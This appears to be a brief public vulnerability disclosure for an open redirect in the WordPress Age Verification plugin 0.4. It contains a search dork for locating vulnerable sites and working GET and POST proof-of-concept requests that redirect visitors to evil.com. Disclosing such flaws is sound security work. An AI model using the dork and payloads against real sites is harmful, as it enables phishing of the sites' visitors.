WordPress Plugin Age Verification 0.4 - Open Redirect

# Exploit Title: Wordpress Age Verification plugin <= 0.4 Open Redirect
# Date: 2012/01/10
# Dork: inurl:wp-content/plugins/age-verification/age-verification.php 
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/age-verification.zip
# Version: 0.4

1)  Via GET: http://server/wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com
    
    The rendered page will provide a link to http://www.evil.com

2)  Via POST: http://server/wp-content/plugins/age-verification/age-verification.php
    redirect_to:    http://www.evil.com
    age_day:        1
    age_month:      1
    age_year:       1970

    Direct redirect to http://www.evil.com